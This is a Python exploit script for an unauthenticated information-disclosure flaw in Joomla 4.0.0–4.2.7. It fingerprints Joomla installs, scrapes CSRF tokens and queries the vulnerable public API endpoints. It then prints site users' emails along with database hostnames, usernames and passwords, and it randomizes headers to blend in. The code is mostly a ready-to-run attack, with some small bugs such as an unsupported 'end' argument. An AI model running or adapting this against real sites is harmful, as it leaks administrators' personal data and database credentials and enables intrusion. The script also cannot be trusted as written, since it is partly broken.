J-Exp.py

#!/usr/bin/env python3

# Exploit
## Title: Joomla! < 4.2.8 - Unauthenticated information disclosure
## Exploit author: HACKFUT
## Date: 2024-01-24
## Vendor Homepage: https://www.joomla.org/
## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)

import json
import requests
import argparse
import sys
import os
import re
import random
import time
from datetime import datetime
from colorama import init, Fore, Style
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from bs4 import BeautifulSoup
import urllib3
from colorama import Fore, Style, init

def clear_terminal():
    """Efface le terminal."""
    os.system('cls' if os.name == 'nt' else 'clear')

# Initialize colorama for Windows/Linux/Mac colors
init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

init(autoreset=True)

def print_colored(text, color=Fore.WHITE, bold=False):
    """Print colored text"""
    style = Style.BRIGHT if bold else Style.NORMAL
    print(f"{style}{color}{text}{Style.RESET_ALL}")

def get_random_headers():
    """Get randomized headers for requests"""
    chrome_versions = ['120.0.0.0', '121.0.0.0', '119.0.0.0', '118.0.0.0']
    firefox_versions = ['121.0', '120.0', '119.0', '118.0']
    
    os_strings = [
        'Windows NT 10.0; Win64; x64',
        'Windows NT 11.0; Win64; x64',
        'Macintosh; Intel Mac OS X 10_15_7',
        'Macintosh; Intel Mac OS X 13_6_1',
        'X11; Linux x86_64',
        'X11; Ubuntu; Linux x86_64'
    ]
    
    browser_choice = random.randint(1, 10)
    
    if browser_choice <= 7:
        version = random.choice(chrome_versions)
        os_string = random.choice(os_strings)
        user_agent = f'Mozilla/5.0 ({os_string}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{version} Safari/537.36'
    else:
        version = random.choice(firefox_versions)
        os_string = random.choice(os_strings[:4])
        user_agent = f'Mozilla/5.0 ({os_string}; rv:{version}) Gecko/20100101 Firefox/{version}'
    
    languages = [
        'en-US,en;q=0.9',
        'en-US,en;q=0.9,ar;q=0.8',
        'en-GB,en;q=0.9',
        'en-US,en;q=0.8,es;q=0.6'
    ]
    
    referers = [
        'https://www.google.com/',
        'https://www.bing.com/',
        'https://duckduckgo.com/',
        'https://www.google.com/search?q=joomla',
        ''
    ]
    
    headers = {
        'User-Agent': user_agent,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': random.choice(languages),
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': random.choice(['max-age=0', 'no-cache']),
    }
    
    if random.randint(1, 10) <= 6:
        headers['Referer'] = random.choice(referers)
    
    return {k: v for k, v in headers.items() if v is not None}

def detect_joomla(base_url, session):
    """Advanced Joomla detection for ALL versions (1.0 to 5.x)"""
    admin_paths = [
        '/administrator/',
        '/administrator/index.php',
        '/administrator/index2.php',
        '/admin/',
        '/joomla/administrator/',
        '/cms/administrator/',
        '/site/administrator/',
        '/web/administrator/',
        '/portal/administrator/'
    ]
    
    for path in admin_paths:
        try:
            url = urljoin(base_url, path)
            resp = session.get(url, headers=get_random_headers(), timeout=10, verify=False)
            
            if resp.status_code == 200:
                content = resp.text.lower()
                version = None
                joomla_detected = False
                
                # Détection de version
                if 'joomla! 5' in content or 'joomla.version = "5"' in content:
                    version = '5.x'
                    joomla_detected = True
                elif 'joomla! 4' in content or 'joomla.version = "4"' in content:
                    version = '4.x'
                    joomla_detected = True
                elif 'joomla! 3' in content or 'joomla.version = "3"' in content:
                    version = '3.x'
                    joomla_detected = True
                elif 'joomla! 2.5' in content:
                    version = '2.5'
                    joomla_detected = True
                elif 'joomla! 1.7' in content:
                    version = '1.7'
                    joomla_detected = True
                elif 'joomla! 1.6' in content:
                    version = '1.6'
                    joomla_detected = True
                elif 'joomla! 1.5' in content or 'jos_' in content:
                    version = '1.5'
                    joomla_detected = True
                elif 'joomla! 1.0' in content or 'mos_' in content:
                    version = '1.0'
                    joomla_detected = True
                
                if not joomla_detected:
                    if ('joomla' in content and
                        ('com_login' in content or 'task=login' in content or 'option=com_users' in content)):
                        joomla_detected = True
                        version = 'Unknown'
                    elif ('joomla' in content and
                          ('mosconfig' in content or 'josconfig' in content or 'com_user' in content)):
                        joomla_detected = True
                        version = 'Legacy'
                
                if joomla_detected:
                    return True, resp.url, version
                    
        except:
            continue

    return False, None, None

def extract_tokens_advanced(html_text, version=None):
    """Extract tokens for different Joomla versions"""
    tokens = {}
    
    # Patterns pour les tokens CSRF
    token_patterns = [
        r'<input[^>]+name=["\']([a-f0-9]{32})["\'][^>]+value=["\']1["\']',
        r'<input[^>]+value=["\']1["\'][^>]+name=["\']([a-f0-9]{32})["\']',
        r'Joomla\.Token\s*=\s*["\']([a-f0-9]{32})["\']',
        r'var\s+token\s*=\s*["\']([a-f0-9]{32})["\']',
        r'name="([a-f0-9]{32})" value="1"',
        r'name="([a-f0-9]{32})"\s+value="1"'
    ]

    for pattern in token_patterns:
        match = re.search(pattern, html_text, re.IGNORECASE)
        if match:
            token_name = match.group(1)
            tokens[token_name] = '1'
            print_colored(f"  [*] Token found: {token_name}", Fore.CYAN)
            break
    
    # Token de retour
    return_match = re.search(r'<input[^>]+name=["\']return["\'][^>]+value=["\']([^"\']+)["\']', html_text)
    if return_match:
        tokens['return'] = return_match.group(1)
    
    # Pour les versions legacy
    if version and ('1.0' in str(version) or '1.5' in str(version)):
        legacy_match = re.search(r'<input[^>]+name=["\']([a-f0-9]{16,32})["\'][^>]+value=["\']1["\']', html_text)
        if legacy_match:
            tokens[legacy_match.group(1)] = '1'
    
    # Extraire tous les champs cachés avec BeautifulSoup
    try:
        soup = BeautifulSoup(html_text, 'html.parser')
        for hidden in soup.find_all('input', {'type': 'hidden'}):
            name = hidden.get('name', '')
            value = hidden.get('value', '')
            if name and value and name not in tokens and len(name) > 3:
                tokens[name] = value
    except:
        pass
    
    return tokens

def fetch_users(root_url, session):
    """Fetch users from the vulnerable endpoint"""
    vuln_url = f"{root_url.rstrip('/')}/api/index.php/v1/users?public=true"
    try:
        response = session.get(vuln_url, headers=get_random_headers(), timeout=10, verify=False)
        return response.text
    except requests.exceptions.RequestException as e:
        return None

def parse_users(root_url, session):
    """Parse users from the response"""
    data_json = fetch_users(root_url, session)
    if not data_json:
        return []
    
    try:
        data = json.loads(data_json)
        if 'data' not in data:
            return []
        
        users = []
        for user in data['data']:
            if user.get('type') == 'users' and 'attributes' in user:
                attrs = user['attributes']
                users.append({
                    'id': attrs.get('id', 'N/A'),
                    'name': attrs.get('name', 'N/A'),
                    'username': attrs.get('username', 'N/A'),
                    'email': attrs.get('email', 'N/A'),
                    'groups': attrs.get('group_names', 'N/A')
                })
        return users
    except json.JSONDecodeError:
        return []

def display_users(root_url, session):
    """Display users information"""
    users = parse_users(root_url, session)
    if not users:
        print_colored(f"[-] No users found or endpoint not vulnerable for {root_url}", Fore.RED)
        return False
    
    print_colored(f"\n[+] Users for {root_url}", Fore.GREEN, bold=True)
    for u in users:
        print_colored(f"  [{u['id']}] {u['name']} ", Fore.WHITE, end='')
        print_colored(f"({u['username']})", Fore.YELLOW, end='')
        print_colored(f" - {u['email']} - {u['groups']}", Fore.WHITE)
    return True

def fetch_config(root_url, session):
    """Fetch configuration from the vulnerable endpoint"""
    vuln_url = f"{root_url.rstrip('/')}/api/index.php/v1/config/application?public=true"
    try:
        response = session.get(vuln_url, headers=get_random_headers(), timeout=10, verify=False)
        return response.text
    except requests.exceptions.RequestException as e:
        return None

def parse_config(root_url, session):
    """Parse configuration from the response"""
    data_json = fetch_config(root_url, session)
    if not data_json:
        return {}
    
    try:
        data = json.loads(data_json)
        if 'data' not in data:
            return {}
        
        config = {}
        for entry in data['data']:
            if entry.get('type') == 'application' and 'attributes' in entry:
                attrs = entry['attributes']
                for key, value in attrs.items():
                    config[key] = value
        return config
    except json.JSONDecodeError:
        return {}

def display_config(root_url, session):
    """Display configuration information"""
    config = parse_config(root_url, session)
    if not config:
        print_colored(f"[-] No configuration found or endpoint not vulnerable for {root_url}", Fore.RED)
        return False
    
    print_colored(f"\n[+] Configuration for {root_url}", Fore.GREEN, bold=True)
    
    print_colored("  Site info:", Fore.RED, bold=True)
    print_colored(f"    Site name: {config.get('sitename', 'N/A')}", Fore.WHITE)
    print_colored(f"    Editor: {config.get('editor', 'N/A')}", Fore.WHITE)
    print_colored(f"    Captcha: {config.get('captcha', 'N/A')}", Fore.WHITE)
    print_colored(f"    Access: {config.get('access', 'N/A')}", Fore.WHITE)
    print_colored(f"    Debug status: {config.get('debug', 'N/A')}", Fore.WHITE)
    
    print_colored("  Database info:", Fore.RED, bold=True)
    print_colored(f"    DB type: {config.get('dbtype', 'N/A')}", Fore.WHITE)
    print_colored(f"    DB host: {config.get('host', 'N/A')}", Fore.WHITE)
    print_colored(f"    DB user: ", Fore.WHITE, end='')
    print_colored(f"{config.get('user', 'N/A')}", Fore.YELLOW, bold=True)
    print_colored(f"    DB password: ", Fore.WHITE, end='')
    print_colored(f"{config.get('password', 'N/A')}", Fore.YELLOW, bold=True)
    print_colored(f"    DB name: {config.get('db', 'N/A')}", Fore.WHITE)
    print_colored(f"    DB prefix: {config.get('dbprefix', 'N/A')}", Fore.WHITE)
    print_colored(f"    DB encryption: {config.get('dbencryption', 'N/A')}", Fore.WHITE)
    return True

def check_vulnerability_with_auth(root_url, session):
    """Vérifier la vulnérabilité avec extraction des tokens CSRF"""
    try:
        # D'abord détecter si c'est Joomla
        is_joomla, admin_url, version = detect_joomla(root_url, session)
        
        if is_joomla:
            print_colored(f"[*] Joomla detected! Version: {version}", Fore.GREEN)
            print_colored(f"[*] Admin URL: {admin_url}", Fore.CYAN)
            
            # Récupérer la page admin pour extraire les tokens
            admin_resp = session.get(admin_url, headers=get_random_headers(), timeout=10, verify=False)
            if admin_resp.status_code == 200:
                tokens = extract_tokens_advanced(admin_resp.text, version)
                if tokens:
                    print_colored(f"[*] Found {len(tokens)} CSRF tokens", Fore.YELLOW)
        
        # Maintenant vérifier la vulnérabilité CVE
        users = parse_users(root_url, session)
        config = parse_config(root_url, session)
        
        return users, config
        
    except Exception as e:
        print_colored(f"[!] Error during detection: {str(e)}", Fore.RED)
        return [], {}

def check_single_domain(domain, session):
    """Check a single domain for vulnerability"""
    try:
        print_colored(f"\n[*] Checking {domain}...", Fore.CYAN)
        
        # Détection Joomla et vérification vulnérabilité
        users, config = check_vulnerability_with_auth(domain, session)
        
        # Afficher les résultats
        if users:
            display_users(domain, session)
        
        if config:
            display_config(domain, session)
        
        if not users and not config:
            print_colored(f"[-] {domain} does not appear to be vulnerable", Fore.YELLOW)
            return False
        
        print_colored(f"[+] {domain} is VULNERABLE!", Fore.GREEN, bold=True)
        return True
        
    except Exception as e:
        print_colored(f"[-] Error checking {domain}: {str(e)}", Fore.RED)
        return False

def main():
    clear_terminal()
    banner = """
⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⢸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⡟⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⢘⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⡇⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⡇⣿⠰⡀⠈⠄⠀⠀⠀⠀⠀⠀⠀⢳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣇⢻⡇⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠾⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣄⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠀⠀⠀⠀⠀⠀⠡⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⣄⠀⠀⠀⠀⠀⠘⠆⠀⠈⢿⣦⠀⠀⠠⠀⠀⠀⠀⠀⢰⣶⣶⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⡶⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡄⠀⠀⠀⠀⠀⠀⠘⣦⣀⠀⠀⠀⢠⣀⠀⠀⠈⠳⠦⠀⠀⠀⠀⠀⠀⠐⠀⢻⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⡿⠃⠜⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣇⠀⠀⠀⣷⣄⠀⠀⠈⠛⢷⣶⣤⡄⠙⠳⠦⣤⡀⠈⠀⠀⠀⡀⠸⣤⣄⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⠟⢠⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠈⠻⠷⠆⢰⣿⣿⣷⣤⡀⠈⠻⣿⣿⣿⣦⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠠⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⡿⢃⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⢶⣶⣄⠄⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⏉⠉⢀⣠⣴⣶⣶⣶⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⠋⣰⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⡀⢀⣾⣄⠠⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀
⣡⣿⣿⠃⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⢋⣴⣿⣿⣿⣿⣦⣤⡹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡁⠀⠈⠉⠛⠛⠿⣿⣷⣀⡐⠠⠷⣼⠂⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀
⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣉⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣴⣆⣠⡀⠀⠀⠉⠛⠛⠛⠋⠉⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⢌⡛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣦⣄⣀⣀⡠⠀⡤⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡻⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⢀⣤⣄⣠⣴⠟⢁⡴⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡛⢿⣿⣿⣿⣴⣿⣿⣿⠟⣁⠔⣫⣴⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⡠⠀⠀⡐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡉⢿⡿⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣀⡂⠉⢛⠻⠿⢋⠥⢊⣡⣾⣿⣷⡄⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⡔⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣆⣻⣿⣷⣬⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣌⣒⠂⠭⠍⠛⠻⢿⠃⠀⣸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢀⡜⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠈⣴⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠘⠀⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠙⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡾⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣦⣌⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣶⣄⡙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢠⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⡇⠘⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣴⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⣶⣬⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠋⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⠀⠀⣀⣠⣴⣶⡶⠃⠐⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠟⠋⠉⣁⣠⣤⣶⣶⣿⣿⣿⣿⡟⢡⡆⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
